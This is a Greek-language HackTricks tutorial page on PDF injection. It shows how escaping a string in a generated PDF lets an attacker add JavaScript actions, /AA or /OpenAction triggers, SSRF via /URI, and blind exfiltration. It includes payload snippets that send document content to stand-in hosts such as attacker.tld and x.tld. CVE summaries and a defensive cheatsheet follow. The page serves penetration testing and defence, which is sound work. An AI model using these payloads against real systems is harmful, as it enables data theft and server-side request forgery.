Έγχυση PDF
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Αν η είσοδός σας αντανακλάται μέσα σε ένα αρχείο PDF, μπορείτε να δοκιμάσετε να εισάγετε δεδομένα PDF για να εκτελέσετε JavaScript, να πραγματοποιήσετε SSRF ή να κλέψετε το περιεχόμενο του PDF. Η σύνταξη του PDF είναι εξαιρετικά επιεικής – αν μπορείτε να ξεφύγετε από το string ή το dictionary που ενσωματώνει την είσοδό σας μπορείτε να προσθέσετε εντελώς νέα objects (ή νέα keys στο ίδιο object) που το Acrobat/Chrome θα αναλύσει χωρίς πρόβλημα. Από το 2024 ένα κύμα αναφορών bug-bounty έχει δείξει ότι μία μη διαφεύγουσα παρένθεση ή back-slash αρκεί για πλήρη εκτέλεση script.
TL;DR – Σύγχρονη Ροή Επίθεσης (2024-2026)
- Εντοπίστε οποιαδήποτε τιμή ελεγχόμενη από χρήστη που καταλήγει μέσα σε ένα (parenthesis string),
/URI ( … )ή/JS ( … )πεδίο στο παραγόμενο PDF. - Εισάγετε
)(κλείνοντας το string) ακολουθούμενο από ένα από τα primitives παρακάτω και τελειώστε με μία ακόμα ανοιχτή παρένθεση για να διατηρήσετε τη σύνταξη έγκυρη. - Παραδώστε το κακόβουλο PDF σε ένα θύμα (ή σε μια backend υπηρεσία που αποδίδει αυτόματα το αρχείο – ιδανικό για blind bugs).
- Το payload σας τρέχει στον PDF viewer:
- Chrome / Edge → PDFium Sandbox
- Firefox → PDF.js (see CVE-2024-4367)
- Acrobat → Full JavaScript API (μπορεί να εξάγει αυθαίρετο περιεχόμενο αρχείων με
this.getPageNthWord)
Example (annotation link hijack):
(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next (
Ο πρώτος ) κλείνει το αρχικό URI string, στη συνέχεια προσθέτουμε ένα νέο Action dictionary που το Acrobat θα εκτελέσει όταν ο χρήστης κάνει κλικ στον σύνδεσμο.
Χρήσιμα Injection Primitives
| Goal | Payload Snippet | Notes |
|---|---|---|
| JavaScript on open | /OpenAction << /S /JavaScript /JS (app.alert(1)) >> | Εκτελείται αμέσως όταν το έγγραφο ανοίγει (λειτουργεί σε Acrobat, όχι σε Chrome). |
| JavaScript on link | /A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >> | Λειτουργεί σε PDFium & Acrobat αν ελέγχετε μια /Link annotation. |
| Blind data exfiltration | << /Type /Action /S /URI /URI (https://attacker.tld/?leak=) | Συνδυάστε με this.getPageNthWord μέσα σε JS για να κλέψετε περιεχόμενο. |
| Server-Side SSRF | Same as above but target an internal URL – great when the PDF is rendered by back-office services that honour /URI. | Όπως παραπάνω αλλά στοχεύοντας ένα internal URL — χρήσιμο όταν το PDF αποδίδεται από back-office services που σέβονται το /URI. |
| Additional Actions (/AA) | /AA << /O << /S /JavaScript /JS (app.alert(1)) >> >> | Επισυνάψτε σε ένα Page/Annotation/Form dictionary για εκτέλεση κατά open/focus. |
| Line Break for new objects | \nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobj | Αν η βιβλιοθήκη σας επιτρέπει να inject new-line characters, μπορείτε να δημιουργήσετε εντελώς νέα αντικείμενα. |
Embedded Actions as Injection Targets
PDF viewers treat embedded actions such as /OpenAction and /AA (Additional Actions) as first-class features that can run when a document opens or when a specific event fires. If you can inject into any dictionary that accepts actions (Catalog, Page, Annotation, or Form field), you can graft an /AA tree and trigger JavaScript on open/focus.
) >> /AA << /O << /S /JavaScript /JS (app.alert('AA fired')) >> >> (
Αυτό το μοτίβο ταιριάζει με πρόσφατα ζητήματα του jsPDF όπου είσοδος που ελέγχεται από επιτιθέμενο και περνάει στο addJS (ή σε ορισμένα AcroForm fields) διαφεύγει από το προοριζόμενο JavaScript string και εγχέει ένα Additional Action dictionary.
Blind Enumeration Trick
Ο Gareth Heyes (PortSwigger) δημοσίευσε ένα one-liner που απαριθμεί κάθε αντικείμενο μέσα σε ένα άγνωστο έγγραφο — χρήσιμο όταν δεν μπορείτε να δείτε το παραγόμενο PDF:
) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (
Ο κώδικας διασχίζει το Acrobat DOM και πραγματοποιεί εξερχόμενα αιτήματα για κάθε ζεύγος ιδιότητας/τιμής, δίνοντάς σας ένα JSON-ish dump του αρχείου. Δείτε το white-paper “Portable Data exFiltration” για την πλήρη τεχνική.
Πραγματικά Σφάλματα (2023-2026)
- CVE-2026-25755 – jsPDF
addJSPDF object injection: attacker-controlled strings μπορούν να κλείσουν το JS literal και να εισάγουν/AA→/O→/JavaScriptενέργειες που πυροδοτούνται στο άνοιγμα/όταν αποκτά focus. - CVE-2024-4367 – Arbitrary JavaScript execution in Firefox’s PDF.js πριν την 4.2.67 παράκαμψε το sandbox με crafted
/JavaScriptaction. - Bug bounty 2024-05 – Major fintech επέτρεψε customer-supplied invoice notes που κατέληγαν στο
/URI; η αναφορά πληρώθηκε $10k μετά την επίδειξη SSRF σε internal metadata host χρησιμοποιώνταςfile:///URI. - CVE-2023-26155 –
node-qpdfcommand-injection μέσω unsanitised PDF path δείχνει τη σημασία του escaping των backslashes και των παρενθέσεων ακόμη και πριν το PDF layer.
Cheatsheet Άμυνας
- Ποτέ μην συνενώνετε ακατέργαστη είσοδο χρήστη μέσα σε
(…)strings ή ονόματα. Escape\,(,)όπως απαιτείται από §7.3 του PDF spec ή χρησιμοποιήστε hex strings<...>. - Αν κατασκευάζετε links, προτιμήστε
/URI (https://…)που την πλήρως URL-encode· αποκλείστεjavascript:schemes στους client viewers. - Αφαιρέστε ή επικυρώστε τα dictionaries
/OpenAction,/AA(additional actions),/Launch,/SubmitFormκαι/ImportDataόταν επεξεργάζεστε PDFs μετά την παραγωγή. - Στον server, αποδώστε μη αξιόπιστα PDFs με έναν headless converter (π.χ. qpdf –decrypt –linearize) που αφαιρεί JavaScript και εξωτερικές ενέργειες.
- Κρατάτε τους PDF viewers ενημερωμένους· PDF.js < 4.2.67 και Acrobat Reader πριν τα patches του Ιουλίου 2024 επιτρέπουν απλή εκτέλεση κώδικα.
- Αν χρησιμοποιείτε client-side generators (π.χ. jsPDF), μην περνάτε ποτέ μη αξιόπιστη είσοδο στο
addJSή στους AcroForm setters που καταλήγουν μέσα σε PDF action dictionaries.
Αναφορές
- Gareth Heyes, “Portable Data exFiltration – XSS for PDFs”, PortSwigger Research (ενημέρωση Μάιος 2024). https://portswigger.net/research/portable-data-exfiltration
- Dawid Ryłko, “CVE-2024-4367: Arbitrary JavaScript Execution in PDF.js” (Απρ 2024). https://dawid.dev/sec/cve-2024-4367-arbitrary-javascript-execution-in-pdf-js
- GitLab Advisory Database, “CVE-2026-25755: jsPDF has a PDF Object Injection via Unsanitized Input in addJS Method” (Φεβ 2026). https://advisories.gitlab.com/pkg/npm/jspdf/CVE-2026-25755/
- Adobe Acrobat Help, “Acrobat shows a warning message when signing documents” (Σεπ 2025) – embedded actions like OpenAction/AA. https://helpx.adobe.com/acrobat/kb/embedded-action-signing-warning.html
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.


